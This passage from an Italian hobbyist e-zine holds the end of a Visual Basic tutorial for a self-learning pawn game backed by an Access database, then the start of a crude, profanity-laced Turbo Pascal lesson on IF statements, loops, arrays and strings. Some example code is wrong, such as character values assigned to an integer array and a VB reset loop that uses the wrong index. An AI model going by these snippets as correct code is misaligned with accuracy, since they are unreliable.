    Set rds = dbs.OpenRecordset("mosse", dbOpenTable)
    Status = True
    Exit Sub
err_open:
    MsgBox Err.Description, vbCritical, "No data"
End Sub

Public Sub CloseConnection()
    On Error Resume Next
    rds.Close
    dbs.Close
    Set rds = Nothing
    Set rds2 = Nothing
    Set dbs = Nothing
    Set wks = Nothing
    Status = False
End Sub

Ora sviluppiamo il resto del nostro programma. Il codice non dovrà far altro 
che gestire i turni dei contendenti, elaborare le mosse lecite per la 
configurazione in cui ci si trova, verificare se conviene eseguirle tutte 
andando a controllare nell'archivio degl'errori e sceglierne una casualmente 
tra quelle che rimangono, ed infine controllare se qualcuno ha vinto o se è 
patta. Nel caso il computer perda deve preoccuparsi di inserire l'ultima mossa 
da lui fatta tra quelle sbagliate.

Dim ScorePC, ScoreYou, GameNum As Integer
Dim Turno As Integer
Dim Table As Scacchiera
Dim PedonePC(1 To 3) As Pedone
Dim PedoneYou(1 To 3) As Pedone
Dim Mosse(1 To 4) As Mossa
Dim From, To_ As String
Dim Da, A As Integer
Dim LastTable As Scacchiera
Dim LastMove As Mossa
Public chi, i, t, u, r, y, n As Integer

Private Sub Command1_Click()
    'New Game: basta reinizializzare il tavolo
    Reset
End Sub

Private Sub Command2_Click()
    'Taso exit: esci dal programma
    Unload Me
End Sub

Private Sub Command3_Click()
    'Reinizializza tutte le variabili di gioco
    Label3.Caption = "0"
    Label4.Caption = "0"
    Label7.Caption = "0"
    ScorePC = 0
    ScoreYou = 0
    GameNum = 0
    Command1_Click
End Sub

Private Sub Command4_Click()
    Dim Ok As Boolean
    Dim A_, chi As Integer
    Ok = False
    'Verifica se la sintassi della mossa è corretta e imposta i valori di Da e 
A
    From = UCase(Text1.Text)
    To_ = UCase(Text2.Text)
    If From = "A1" Then
        Da = 1
    ElseIf From = "B1" Then
        Da = 2
    ElseIf From = "C1" Then
        Da = 3
    ElseIf From = "A2" Then
        Da = 4
    ElseIf From = "B2" Then
        Da = 5
    ElseIf From = "C2" Then
        Da = 6
    ElseIf From = "A3" Then
        Da = 7
    ElseIf From = "B3" Then
        Da = 8
    ElseIf From = "C3" Then
        Da = 9
    Else
        MsgBox "Select an avaiable move.", vbExclamation + vbOKOnly, 
"Attention"
        Exit Sub
    End If
    If To_ = "A1" Then
        A = 1
    ElseIf To_ = "B1" Then
        A = 2
    ElseIf To_ = "C1" Then
        A = 3
    ElseIf To_ = "A2" Then
        A = 4
    ElseIf To_ = "B2" Then
        A = 5
    ElseIf To_ = "C2" Then
        A = 6
    ElseIf To_ = "A3" Then
        A = 7
    ElseIf To_ = "B3" Then
        A = 8
    ElseIf To_ = "C3" Then
        A = 9
    Else
        MsgBox "Select an avaiable move.", vbExclamation + vbOKOnly, 
"Attention"
        Exit Sub
    End If
    'Mette in A_ la direzione delle mossa in base ai valori di Da e A
    If A = (Da + 3) Then A_ = 2
    If A = (Da + 2) Then A_ = 1
    If A = (Da + 4) Then A_ = 3
    'Cerca le mosse valide per You
    TrovaMosseYou
    'Verifica se la mossa è lecita
    For i = 1 To 4
        If Mosse(i).Position = Da And Mosse(i).Direction = A_ Then Ok = True
    Next
    'Verifica quale pedina è in quella posizione
    chi = 0
    For i = 1 To 3
        If PedoneYou(i).Posizione = Da Then chi = i
    Next
    'Se la mossa è lecita sposta la pedina, altrimenti da errore
    If Ok = True Then
        Call PutPedoneYou(chi, A)
    Else
        MsgBox "Select an avaiable move.", vbExclamation + vbOKOnly, 
"Attention"
        Exit Sub
    End If
    'Controlla se ci sono vincitori
    If ThereIsAWinner <> Vuoto Then Exit Sub
    'Verifica se il PC ha mosse
    TrovaMossePC
    If (Pair = True) Then Exit Sub
    MovePC
    'Controlla se vi sono vincitori
    If ThereIsAWinner <> Vuoto Then Exit Sub
    'Verifica se You ha mosse
    TrovaMosseYou
    If Pair = True Then Exit Sub
    'Se non è partita patta, allora aspetta una nuova mossa da you
End Sub

Private Sub Form_Load()
    OpenConnection
    Set Table = New Scacchiera
    Set LastTable = New Scacchiera
    Set LastMove = New Mossa
    For i = 1 To 4
        Set Mosse(i) = New Mossa
    Next
    For i = 1 To 3
        Set PedonePC(i) = New Pedone
        Set PedoneYou(i) = New Pedone
    Next
    Turno = 1
    Reset
End Sub

Private Sub Reset()
    'Rendi tutte le pedine visibili
    For t = 0 To 2
        Shape2(t).Visible = True
        Shape3(t).Visible = True
    Next
    'Sistema le pedine
    Call PutPedonePC(1, 7)
    Call PutPedonePC(2, 8)
    Call PutPedonePC(3, 9)
    Call PutPedoneYou(1, 1)
    Call PutPedoneYou(2, 2)
    Call PutPedoneYou(3, 3)
    'Le chiamate sucessive di PutPedonePC e PutPedoneYou accusano
    'uno strano bug: alcune caselle non le setta con la pedina
    'effettivamente contenuta.
    'Nelle chiamate singole il bug non risulta.
    'Risulta necessario perciò assicurarsi del fatto ce siano
    'settate.
    For t = 7 To 9
    Call Table.Celle(t, Blu)
    Next
    'Inizializza a vuoto le celle della scacchiera non usate
    Call Table.Celle(4, Vuoto)
    Call Table.Celle(5, Vuoto)
    Call Table.Celle(6, Vuoto)
    'Mostra tutte le pedine
    For u = 0 To 2
        Shape2(u).Visible = True
        Shape3(u).Visible = True
    Next
    'Se è il turno del Pc di iniziare, fa la sua mossa
    Turno = Turno + 1
    If (Turno Mod 2) = 1 Then MovePC
    'Alla prima mossa non serve verificare se è patta o se vi sono vincitori:
    'sono 2 situazioni impossibili
End Sub

Private Sub WinPC()
    'Si commenta da sè
    ScorePC = ScorePC + 1
    Label3.Caption = Str(ScorePC)
    GameNum = GameNum + 1
    Label7.Caption = Str(GameNum)
    MsgBox "I win this game. If you want, I give you an other chance!", 
vbInformation + vbOKOnly, "Victory"
    Command1_Click
End Sub

Private Sub WinYou()
    'Anche questa si commenta da sè
    ScoreYou = ScoreYou + 1
    Label4.Caption = Str(ScoreYou)
    GameNum = GameNum + 1
    Label7.Caption = Str(GameNum)
    MsgBox "You win this game. Give me an other chance.", vbInformation + 
vbOKOnly, "Victory"
    'Inserisce l'ultima mossa fatta da PC nella serie delle mosse sconsigliate
    ADDmove
    Command1_Click
End Sub

Private Sub NoWinner()
    'Partita patta
    GameNum = GameNum + 1
    Label7.Caption = Str(GameNum)
    MsgBox "This game has no winner, sorry.", vbInformation + vbOKOnly, 
"NoWinner"
    Command1_Click
End Sub

Private Sub TrovaMossePC()
    'Trova le mosse possibili per il PC e le inserisce nell'array di mosse
    Dim where As Integer
    Dim NumMossa As Integer
    NumMossa = 1
    ResetMosse
    For i = 0 To 2
        If Shape2(i).Visible = False Then
        Else
        where = GetPedonePC(i + 1)
        'Controllo se posso andare avanti
        If (where - 3) > 0 Then
            If Table.Celle_(where - 3) = Vuoto Then
                Mosse(NumMossa).Position = where
                Mosse(NumMossa).Direction = Avanti
                NumMossa = NumMossa + 1
            End If
        End If
        'Controllo se mi posso muovere verso Dx
        If ((where Mod 3) <> 0) And (where > 3) And ((where - 4) > 0) Then
            If Table.Celle_(where - 2) = Rosso Then
                Mosse(NumMossa).Position = where
                Mosse(NumMossa).Direction = Dx
                NumMossa = NumMossa + 1
            End If
        End If
        'Controllo se posso andare a Sx
        If ((where Mod 3) <> 1) And (where > 3) And ((where - 2) > 0) Then
            If Table.Celle_(where - 4) = Rosso Then
                Mosse(NumMossa).Position = where
                Mosse(NumMossa).Direction = Sx
                NumMossa = NumMossa + 1
            End If
        End If
        End If
    Next
    'Setto a NO le mosse non utilizzate
    For i = NumMossa To 4
        Mosse(NumMossa).Position = 0
        Mosse(NumMossa).Direction = No
    Next
End Sub

Private Sub TrovaMosseYou()
    'Trova le mosse possibili per You e le inserisce nell'array di mosse
    Dim where As Integer
    Dim NumMossa As Integer
    NumMossa = 1
    ResetMosse
    For i = 0 To 2
        If Shape3(i).Visible = False Then
        Else
        where = GetPedoneYou(i + 1)
        'Controllo se posso andare avanti
        If (where + 3) < 10 Then
            If Table.Celle_(where + 3) = Vuoto Then
                Mosse(NumMossa).Position = where
                Mosse(NumMossa).Direction = Avanti
                NumMossa = NumMossa + 1
            End If
        End If
        'Controllo se mi posso muovere verso Dx
        If ((where Mod 3) <> 0) And (where < 7) And ((where + 4) < 10) Then
            If Table.Celle_(where + 4) = Blu Then
                Mosse(NumMossa).Position = where
                Mosse(NumMossa).Direction = Dx
                NumMossa = NumMossa + 1
            End If
        End If
        'Controllo se posso andare a Sx
        If ((where Mod 3) <> 1) And (where < 7) And ((where + 2) < 10) Then
            If Table.Celle_(where + 2) = Blu Then
                Mosse(NumMossa).Position = where
                Mosse(NumMossa).Direction = Sx
                NumMossa = NumMossa + 1
            End If
        End If
        End If
    Next
    'Setto a NO le mosse non utilizzate
    For i = NumMossa To 4
        Mosse(NumMossa).Position = 0
        Mosse(NumMossa).Direction = No
    Next
End Sub

Private Sub ResetMosse()
    'Svuota l'array delle mosse
    For i = 1 To 4
        Mosse(i).Position = 0
        Mosse(i).Direction = No
    Next
End Sub

Private Sub PutPedonePC(ByVal index As Integer, ByVal where As Integer)
    'Controlla se deve mangiare una pedina avversaria
    If Table.Celle_(where) = Rosso Then
        For i = 1 To 3
            If PedoneYou(i).Posizione = where Then Shape3(i - 1).Visible = 
False
        Next
    End If
    'Azzera la vecchia posizione sulla tabella
    Call Table.Celle(GetPedonePC(index), Vuoto)
    PedonePC(index).Posizione = where
    Call Table.Celle(where, Blu)
    If where = 1 Then
        Shape2(index - 1).Left = 1200
        Shape2(index - 1).Top = 2160
        Exit Sub
    End If
    If where = 2 Then
            Shape2(index - 1).Left = 2040
            Shape2(index - 1).Top = 2160
            Exit Sub
    End If
    If where = 3 Then
            Shape2(index - 1).Left = 2880
            Shape2(index - 1).Top = 2160
            Exit Sub
    End If
    If where = 4 Then
            Shape2(index - 1).Left = 1200
            Shape2(index - 1).Top = 1320
            Exit Sub
    End If
    If where = 5 Then
            Shape2(index - 1).Left = 2040
            Shape2(index - 1).Top = 1320
            Exit Sub
    End If
    If where = 6 Then
            Shape2(index - 1).Left = 2880
            Shape2(index - 1).Top = 1320
            Exit Sub
    End If
    If where = 7 Then
            Shape2(index - 1).Left = 1200
            Shape2(index - 1).Top = 480
            Exit Sub
    End If
    If where = 8 Then
            Shape2(index - 1).Left = 2040
            Shape2(index - 1).Top = 480
            Exit Sub
    End If
    If where = 9 Then
            Shape2(index - 1).Left = 2880
            Shape2(index - 1).Top = 480
            Exit Sub
    End If
End Sub

Private Sub PutPedoneYou(ByVal index As Integer, ByVal where As Integer)
    'Controlla se deve mangiare una pedina avversaria
    If Table.Celle_(where) = Blu Then
        For i = 1 To 3
            If PedonePC(i).Posizione = where Then Shape2(i - 1).Visible = False
        Next
    End If
    'Azzera la vecchia posizione sulla tabella
    Call Table.Celle(GetPedoneYou(index), Vuoto)
    PedoneYou(index).Posizione = where
    Call Table.Celle(where, Rosso)
    If where = 1 Then
        Shape3(index - 1).Left = 1200
        Shape3(index - 1).Top = 2160
        Exit Sub
    End If
    If where = 2 Then
            Shape3(index - 1).Left = 2040
            Shape3(index - 1).Top = 2160
            Exit Sub
    End If
    If where = 3 Then
            Shape3(index - 1).Left = 2880
            Shape3(index - 1).Top = 2160
            Exit Sub
    End If
    If where = 4 Then
            Shape3(index - 1).Left = 1200
            Shape3(index - 1).Top = 1320
            Exit Sub
    End If
    If where = 5 Then
            Shape3(index - 1).Left = 2040
            Shape3(index - 1).Top = 1320
            Exit Sub
    End If
    If where = 6 Then
            Shape3(index - 1).Left = 2880
            Shape3(index - 1).Top = 1320
            Exit Sub
    End If
    If where = 7 Then
            Shape3(index - 1).Left = 1200
            Shape3(index - 1).Top = 480
            Exit Sub
    End If
    If where = 8 Then
            Shape3(index - 1).Left = 2040
            Shape3(index - 1).Top = 480
            Exit Sub
    End If
    If where = 9 Then
            Shape3(index - 1).Left = 2880
            Shape3(index - 1).Top = 480
            Exit Sub
    End If
End Sub

Private Function GetPedonePC(ByVal index As Integer) As Integer
    'Ritorna la posizione del Pedone n° index
    Dim pos As Integer
    pos = PedonePC(index).Posizione
    GetPedonePC = pos
End Function

Private Function GetPedoneYou(ByVal index As Integer) As Integer
    'Ritorna la posizione del Pedone n° index
    Dim pos As Integer
    pos = PedoneYou(index).Posizione
    GetPedoneYou = pos
End Function

Private Function ThereIsAWinner() As Pedina
    'Verifica se vi è un vincitore
    ThereIsAWinner = Vuoto
    Dim p As Integer
    For p = 1 To 3
        'Controlla se sulle celle della riga 1 vi è una pedina Blu
        If Table.Celle_(p) = Blu Then ThereIsAWinner = Blu
        'Controlla se sulle celle della riga 2 vi è una pedina Rossa
        If Table.Celle_(p + 6) = Rosso Then ThereIsAWinner = Rosso
    Next
    If ThereIsAWinner = Vuoto Then Exit Function
    If ThereIsAWinner = Blu Then WinPC
    If ThereIsAWinner = Rosso Then WinYou
End Function

Private Function Pair() As Boolean
    'Le mosse vengono inserite dalla 1 alla 4: se 1 è vuota allora non ho 
mosse!
    If Mosse(1).Direction = No Then
        Pair = True
        NoWinner
    End If
End Function

Private Sub MovePC()
    On Error GoTo err_move
    'Sceglie una mossa quando è il suo turno
    TrovaMossePC
    Dim SelectMove As Mossa
    Dim value As Pedina
    Dim MosseConsigliate(1 To 4) As Mossa
    Dim Qry, tableString As String
    Set SelectMove = New Mossa
    For i = 1 To 4
        Set MosseConsigliate(i) = New Mossa
    Next
    'Converte la scacchiera in una stringa
    For u = 1 To 9
        value = Table.Celle_(u)
        tableString = tableString & Str(value)
    Next
    r = 1
    y = 1
    'Controlla nel database delle mosse sconsigliate se sono presenti quelle 
trovate sopra
    While (Status = True) And (y < 5)
        If (Mosse(y).Direction <> No) Then
            Qry = "SELECT * FROM mosse WHERE (Position=" + 
Str(Mosse(y).Position) + ") AND (Direction=" + Str(Mosse(y).Direction) + ") AND 
(Table= '*" + tableString + "*')"
            Set rds2 = dbs.OpenRecordset(Qry)
            If (rds2.RecordCount > 0) Then
                MosseConsigliate(r).Position = Mosse(y).Position
                MosseConsigliate(r).Direction = Mosse(y).Direction
                r = r + 1
            End If
        End If
        y = y + 1
    Wend
    'Conta le mosse trovate valide e possibili
    Dim NumMosse As Integer
    NumMosse = 0
    For i = 0 To 3
        If MosseConsigliate(i + 1).Direction <> No Then NumMosse = NumMosse + 1
    Next
    Randomize
    If NumMosse <> 0 Then
        'Scegli una mossa tra quelle rimaste
        n = (NumMosse * 100 * Rnd) Mod NumMosse + 1
        SelectMove.Direction = MosseConsigliate(n).Direction
        SelectMove.Position = MosseConsigliate(n).Position
    Else
        'Non essendoci nessuna buona mossa ma non avendo ancora perso, scegli 
una mossa tra quelle stupide
        NumMosse = 0
        For i = 0 To 3
            If Mosse(i + 1).Direction <> No Then NumMosse = NumMosse + 1
        Next
        'NumMosse ora ricontiene il numero di tutte le mosse (anche se 
sconsigliate)
        n = (NumMosse * 100 * Rnd) Mod NumMosse + 1
        SelectMove.Direction = Mosse(n).Direction
        SelectMove.Position = Mosse(n).Position
    End If
    'Inserisci la mossa scelta in LastMove e la corrente scacchiera in 
LastTable
    For t = 1 To 9
        Call LastTable.Celle(t, Table.Celle_(t))
    Next
    LastMove.Position = SelectMove.Position
    LastMove.Direction = SelectMove.Direction
    'Verifica quale pedina è in quella posizione
    chi = 0
    For i = 1 To 3
        If PedonePC(i).Posizione = SelectMove.Position Then chi = i
    Next
    'Mette in A_ la direzione delle mossa in base ai valori di Da e A
    If SelectMove.Direction = Avanti Then A_ = SelectMove.Position - 3
    If SelectMove.Direction = Sx Then A_ = SelectMove.Position - 4
    If SelectMove.Direction = Dx Then A_ = SelectMove.Position - 2
    'Esegue la mossa
    Call PutPedonePC(chi, A_)
    Exit Sub
err_move:
    MsgBox Err.Description, vbCritical, "Error"
End Sub

Private Sub Form_Unload(Cancel As Integer)
    'Chiude la connessione col database delle mosse
    CloseConnection
End Sub

Private Sub ADDmove()
    On Error GoTo err_add
    Dim tableString, Qry As String
    Dim value As Pedina
    'Verifico che il DB sia regolarmente aperto
    If Status = False Then Exit Sub
    tableString = ""
    'Converte la scacchiera in una stringa
    For u = 1 To 9
        value = LastTable.Celle_(u)
        tableString = tableString & Str(value)
    Next
    'Controlla che la mossa non sia già presente
    Qry = "SELECT * FROM mosse WHERE (Position=" + Str(LastMove.Position) + ") 
AND (Direction=" + Str(LastMove.Direction) + ") AND (Table='*" + tableString + 
"*')"
    Set rds2 = dbs.OpenRecordset(Qry)
    If (rds2.RecordCount > 0) Then Exit Sub
    'Crea un nuovo record e lo riempie con la mossa appena fatta
    rds.AddNew
    rds("Position") = Str(LastMove.Position)
    rds("Direction") = Str(LastMove.Direction)
    rds("Table") = tableString
    rds.Update
    Exit Sub
err_add:
    MsgBox Err.Description, vbCritical, "Fatal Error"
End Sub


Conclusioni
Abbiamo finito. Io ho giocato un po' con il mio PC e credetemi, dopo una 
ventina di partite era già un campione! Scherzi a parte, con questo semplice 
esperimento abbiamo potuto verificare che anche il computer impara, facendo 
esperienza dei propri errori; l'importante è programmarlo bene. Ora io sto 
elaborando un programma che utilizza la stessa logica con il gioco della dama 
(ovviamente utilizzando un algoritmo piu' appropriato di quello appena 
visto….che risulterebbe troppo pesante computazionalmente), così alla sera non 
dovrò più preoccuparmi di trovare un amico con cui farmi delle partite, 
rischiando di trovarne uno troppo bravo che mi stracci sempre. Sì, perché con 
il sistema che abbiamo appena implementato, mentre il computer impara lo 
facciamo anche noi. D'ora in poi il mio avversario sarà sempre alla mia 
altezza: né di più né di meno. In fin dei conti gli ho insegnato io a 
giocare…..

Loxeo


+==[ PROGRAMMAZIONE ]=========================================================+
|  Titolo: Tutorial turbo pascal lezione 2                                    |
|  Autore: Kornuto                                                            |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
Riekkime Aqqua!!!Il vostro KoRnuto è tornato per insegnarvi a studiare il Turbo 
Pascal!!! Prima di tutto,voglio ringraziare tutti quelli che mi hanno aiutato a 
fare uscire nella e-zine il mio numero, quindi, ringrazio tutto lo "staff"  del 
chan #informazionelibera che mi ha aiutato,  ringrazio in  particolare Caligola 
per la sua disponibilità nei miei confronti, Cyberdude per avermi pubblicato il 
mio tutorial e unrelated pecché iè 'nu mito
FUCK YOU ALL LAMERZZZZ DI MIEDDDA!!!!
JUST THE HACKERZ ARE FINE PIPOL...		(ma farà ridere???)
						(bo, io lo metto, fate voi...)

ok, ora che mi  sono sfogato  per  la canna strapiena  di magia,  (cyberdude sa 
tutto) passiamo al sodo...

SECONDA LEZZZIONE DI TURBO PASCAL ( a  questo  punto,  vi  kiederete...  perché 
triplico le Z ?)  non  vi   preoccupate...  me  lo  kiedo  ank'io  { mah } 
Allora, studenti... la seconda lezione, spiega nuove istuzioni, gli IF (se) e i 
cicli d'iterazione, i commenti nuovi tipi di variabili: i vettori e le  matrici  
(in pascal, ARRAY)
			 le stringhe             (in pascal, STRING)
			 i caratteri singoli     (in pascal, CHAR)
			 i boolean               (in pascal, BOOLEAN [!!!])
i segni matematici usati nei programmi le costanti                              
(in pascal, CONST)

premetto soltanto che il turbo pascal è un linguaggio che viene studiato dal 
popolo alle superiori, e quindi, mi kiedo ank'io perché sto facendo 'sto 
tutorial (mah!!!)

cominciamo col solito programmino... se non capite qualcosa, rileggetevi il 
primo tutorial, oppure, leggetevi i commenti che vi lascio dopo l'istruzione. 
questo programmino dovrebbe "inizializzare" la vostra conoscenza sugli IF e sui 
cicli (in particolare il repeat, che è quello che uso maggiormente)

program progIF;	{ Tutto ciò che è contenuto dalle parentesi graffe  }
uses crt;       { è un commento, cioè, una riga che non viene mai}
var a,b:byte;	{ calcolata dal compilatore durante la compilazione }
c:char;		{ il tipo char sta a segnare UN solo carattere      }
begin		(* Anche questo è un commento! *)
clrscr;		{ cancella skermo }
writeln('Programma di spiegazione degli IF');
delay(3000);	{ aspetta 3000 millisecondi }
repeat;
repeat;		{ questo ciclo, ripete le opzioni fra il }
clrscr;		{ "repeat" ed il "until" }
writeln('Inserisci un numero da 1 a 10');	{ l'uso, lo leggerete dopo }
readln(a);
until (a >= 1) and (a <= 10);
repeat;
clrscr;
writeln('Inserisci un altro numero da 1 a 10');
readln(b);
until (b >= 1) and (b <= 10);
if a<b then writeln('Il numero ',a,' è minore di ',b);
if a>b then writeln('Il numero ',a,' è maggiore di ',b);
if a=b then writeln('Il due numeri ',a,' e ',b,' sono uguali');
writeln('Vuoi ripetere dall''inizio?');
writeln('S/N');
c:=readkey;		{ questo comando dice che c vale il tasto }
until c='n';	{ che in quel momento è stato premuto     }
end.			{ poi vedremo approfonditamente		  }

non cominciate a disperarvi, ci sono qua io... ora comincio a spiegare, magari 
prima vado a farmi una sizza...

(mezz'ora dopo)

ok riekkime, spero che non abbiate aspettato troppo...

I COMMENTI (for dummies)

allora, la prima istruzione che ho dovuto spiegarvi (sotto commento) è il 
commento (appunto) in ogni programma che farete in turbo pascal, ogni cosa che 
scriverete tra le parentesi graffe o tra i (* e *) sono commenti, ciò vuol dire 
che il compilatore li salta direttamente e passa all'istruzione dopo, potete 
anche scrivere commenti in mezzo ad una sola istruzione, ad ex.

until (a >= 1) {ciao} and (a <= 10);

qua ho inserito un commento in mezzo all' AND (vedremo poi) e la condizione 
matematica NON si può inserire i commenti in mezzo ai segni matematici, ad ex.

until (a >= 1) an{ciao}d (a <= 10{ciao2});

capit?

IL CHAR (for pipol un po' più intelligent)

la seconda cosa che vi ho spiegato (sotto commento) è il tipo di variabile CHAR, 
che non ricordo, se l'ho messo già nel primo numero... VABBO in pratica,il tipo 
CHAR deve contenere UNA lettera, non credete che, come altra gente, il CHAR 
contenga una parola o una frase, o roba del genere, ed è per questo che vi 
spiegherò anche le stringhe. il CHAR, può contenere qualsiasi carattere ASCII, 
tranne i primi 31 non chiedetemi quali sono, perché sul blocco note sono 
invisibili (mah!!!)

QUEI TRE IF

vogliono dire:

SE a è MINORE DI b ALLORA SCRIVI('BLABLABLA');
SE a è MAGGIORE DI b ALLORA SCRIVI('BLEBLEBLE');
SE a è UGUALE A b ALLORA SCRIVI('BLIBLIBLI');

la sintassi degli IF in poche parole è così:

IF (condizione) THEN (istruzione)

a questo punto, voi mi chiederete, "ma se volessi fare un IF con tante 
istruzioni e non una sola?" NIENTE PAURA!!! IL KORNUTO HA PROVVEDUTO A 
TUTTO(quasi) dovete fare così:

IF a=5 THEN BEGIN
writeln('Come ti chiami?');
readln(name);
writeln('Ok, ti chiami ',name);
END;

in pratica, questo IF fa partire ciò che è in mezzo al begin e l'end; SOLO nel 
caso che a sia uguale a 5.

capit? se no, uccidetevi...


Ora passiamo a qualcosa di neanche tanto complicato, i CICLI mettiamo che in un 
vostro programmino, voi vogliate far ripetere una parola inserita dall'utente 
per un tot di volte, allora si fa così:

il tipo di ciclo più usato da me è il REPEAT e funzia così

REPEAT;
write(variabile);
a:=a+1;
UNTIL a=b;

la sintassi è semplice, basta mettere il repeat dove noi vogliamo che inizi 
l'iterazione (ITERAZIONE = RIPETIZIONE [per chi non lo sapesse]) e l'until con 
la condizione matematica per far finire l'iterazione. in questo caso, il 
programma scriverà il contenuto di VARIABILE finchè A non è uguale a B nota: a, 
si somma sempre di uno dopo aver scritto la variabile.

un altro tipo d'iterazione che m'incista troppo è il FOR (e qui...)!

anche questo è molto semplice da usare,anche se io all'inizio mi ero spaventato 
da come me l'aveva spiegato mio fratello... tanto che ci ho perso entusiasmo e 
non l'ho mai usato fino ad adesso...

FOR i:=1 TO x DO
 begin
  writeln(i);
 end;

spieghiamo mo come funzia 'sto ciclo... bé, l'uso è semplice, in pratica, così 
assegnamo a 'i' il valore di 1, ma che possiamo anche modificare a nostro 
piacimento. cioè, diventa così:

i vale 1
esegui questo:
scrivi 'i'
fine...
i vale 2
esegui questo:
scrivi 'i'
fine...
i vale 3
...
fino a quando i vale quanto x

nota che al posto di x, potete mettere anche un numero... CAPIT?

in pratica, mettiamo che X valga 13, nella vostra brutta console del DOS 
vedrete:

---------
1
2
3
4
5
6
7
8
9
10
11
12
13
---------

sperabbi di fossi scuro...

un altro tipo di ciclo è il WHILE, che è quello che odio di più, non perché 
fosse difficile, ma perché è un ciclo che io odio, punto e a capo...

i:=0;
WHILE i <> 10 DO
 BEGIN
  writeln('IL WHILE è IL CICLO CHE ODIO DI +');
  i:=i+1
 END;

questo ciclo mi ripeterà per dieci volte quello contenuto fra il begin e l'end; 
in pratica, se il compilatore fosse un uomo, direbbe: mentre i è diverso da 10, 
allora fai... e il ciclo finirà non appena i vale 10 anche qua, al posto del 
numero potete mettere la variabile...

Sopra avete visto sicuramente che ci sono degli AND, ora vi spiego.

gli operatori logici AND e gli OR

'or'
s
nei REPEAT o negli IF o in qualunque altra istruzione(che ora non mi vengono in 
mente) potete mettere le "opzioni" che ci sono sopra, i quali vogliono dire: E, 
O (per chi non mastica l'inglese) il primo esempio è il seguente

REPEAT;      	{ qui ho detto al compilatore che deve cancellare lo skermo}
clrscr;		{ scrivere la linea 'CIAO', aspettare 50 ms, sommmare la }
writeln('CIAO');	{ variabile a di 1 e sottrarre la variabile b di 1 }
delay(50);		{ finché a è uguale a 5 E finché b è uguale a -5 }
a:=a+1;		{ come vedete, l'uso dell'AND è semplice, però, le condizi-}
b:=b-1;		{-oni devono essere comprese dalle parentesi, se no, il }
UNTIL (a=5) AND (b= -5);{ il compilatore vi darà errore. Mi raccomando il ; }

quindi vuol dire, che il compilatore per continuare, deve avere le due 
variabili, nello stesso momento col risultato che voi avete messo, potete anche 
non mettere il numero, ma più semplicemente ancora, un'altra variabile dopo l'=
ad Ex.

UNTIL (a=b) AND (b= -5);

nota, che la variabile dopo l'uguale, potete metterla DAPPERTUTTO, cioè, potete 
metterla negli IF, nei REPEAT e in altri tipi d'istruzioni

il secondo esempio, invece è abbastanza diverso

REPEAT;	{ qui ho detto al compilatore che deve cancellare lo skermo, scrive}
clrscr;	{-re la linea 'CIAO', aspettare 50 ms, sommare la a di 1 
e moltipli}
writeln('CIAO'); {-care la b per 2 finché a è uguale a 5 O finché b= -5 }
delay(50); { qui vale lo stesso discorso delle condizioni dentro le parentesi}
a:=a+1;
b:=b*2;
UNTIL (a=5) OR (b= -5);

quindi, questo OR si usa quando si vuole dire al compilatore di continuare col 
programma quando a vale 5 o b vale –5 naturalmente, quando nessuno dei due 
arriva al risultato richiesto, il computer, come si dice in gergo, SI PIANTA, 
nel senso che continua a ripetere sino all'infinito quello compreso dal repeat e 
l'until. e questo è un male...

I VETTORI E LE MATRICI (in pascal, gli ARRAY)

dato che siamo al tutorial pel deficiente, vi dico che i vettori e le matrici, 
sono simili ma sottolineo SIMILI, infatti il vettore è una tabella (ribadisco 
che è il tut pel def) con una sola riga e colonne definite da voi, invece le 
matrici, sono la stessa cosa, ma con un numero di righe e con un numero di 
colonne, tutte definite da voi.
 _____________
| | | | | | | |	<---------- VETTORE
 ¯¯¯¯¯¯¯¯¯¯¯¯¯
 _____________
| | | | | | | |
|¯|¯|¯|¯|¯|¯|¯|	<---------- MATRICE
|¯|¯|¯|¯|¯|¯|¯|
 ¯¯¯¯¯¯¯¯¯¯¯¯¯
vediamo ora come si dichiarano e la loro sintassi...

var ciao:array[0..50] of integer;	
{ Così ho dichiarato un vettore di 51 colonne non fatevi ingannare dallo 0, 
perché anch'esso è una casella, contiene numeri, dato che quello che ho messo 
dopo (of integer) vuol dire che fa parte di numeri interi vedrete poi che l'OF 
si può usare in altri casi, per adesso fermiamoci qui..}

ciao2:array[0..50,0..50] of integer; { Così ho dichiarato un vettore di 51 
colonne } { e 51 righe di INTEGER }

Ok, ora sappiamo come si dichiarano, è naturale che si può cambiare il tipo di 
array, può essere di STRING, o di BYTE, o di CHAR, quello che vi pare.

Passiamo ora all'uso degli array:
se noi vogliamo, possiamo assegnare a una casella dell'array, un carattere,o un 
numero... bisogna fare così:
ciao[0]:='c';
così, assegno alla primissima casella dell'array(vettore) il carattere 'c' se 
invece in questione c'è una matrice, dobbiamo fare cosà:
ciao2[0,0]:='p';
così, assegno alla prima colonna e prima riga il carattere 'p'

capit?

se invece vogliamo scrivere in ogni casella del vettore, bisogna fare così

for i:=1 to k do
             { i è una variabile, e le assegnamo il valore di 1 }
	     { k è la lunghezza del vettore (ma sempre una variabile) }
  begin
    writeln ('inserisci il ',i,' valore');
    readln(ciao[i]);
  end;

quindi vuol dire che ti verrà scritto di inserire il valore di una casella del 
vettore finché i non raggiunge il valore di k

se invece vogliamo scrivere in ogni casella della matrice, bisogna fare cosà

for i:=1 to nr do
  begin
    for j:=1 to nc do
      begin
        writeln ('inserisci il ',j,' numero della ',i,' riga');
        readln(ciao2[i,j]);
      end;
  end;

qui vale la stessa cosa, nr e nc sono altre due variabili, dove nr è il numero 
delle righe mentre nc è il numero delle colonne

capit?

OK, ora passiamo alle stringhe Le stringhe, come mi ha spiegato il mio caro 
amico |0z| (mitiicoo) sono un vettore di CHAR (il char, per chi non avesse letto 
[e ha fatto male] è un carattere singolo che contiene un qualsiasi carattere 
ASCII) passiamo alla spiegazione:

si dichiarano Così:

var culo:string;  { Opzionale, dopo lo string si può mettere il numero massimo}
      		  { di caratteri così: }

culo2:string[30]; { vedete che il vettore e lo string, un po' si assomigliano}
		  { per il numero tra le parentesi quadre }

se volete utilizzare una stringa per un programmino, la cosa da fare è 
semplice o potete fare così:

writeln('Scrivi come ti chiami');
readln(culo);

così avete il vostro nome scritto dentro la variabile CULO se invece volete 
estrarre solo la prima lettera, allora, il processo è LEGGERMENTE + lungo

writeln('Scrivi come ti chiami');
readln(culo);
culo:=culo[1];
writeln('La prima lettera del tuo nome è ',culo);

come vedete è veramente LEGGERMENTE + lungo (de hi hi ho u)
per chi non avesse capito, io non do nessuna spiegazione, è talmente chiaro!!!

I BOOLEAN

passiamo a qualcosa di più figo i BOOLEAN, sono un nuovo tipo di variabili, non 
